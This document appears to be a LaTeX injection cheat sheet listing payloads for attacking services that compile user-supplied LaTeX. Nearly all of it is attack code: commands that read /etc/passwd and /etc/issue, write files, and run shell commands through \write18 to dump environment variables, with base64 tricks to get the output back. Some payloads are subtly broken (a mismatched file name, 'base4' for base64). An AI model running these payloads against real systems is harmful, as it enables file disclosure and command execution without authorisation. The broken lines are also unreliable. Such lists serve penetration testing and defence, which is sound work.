LaTex Injection

Read file

\input{/etc/passwd}
\include{password} # load .tex file

Read single lined file

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Read multiple lined file

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
    \read\file to\fileline 
    \text{\fileline}
\repeat
\closein\file

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

The input of the command will be redirected to stdin, use a temp file to get it.

\immediate\write18{env > output}
\input{output}

If you get any LaTex error, consider using base64 to get the result without bad characters

\immediate\write18{env | base64 > test.tex}
\input{text.tex}

\input|ls|base4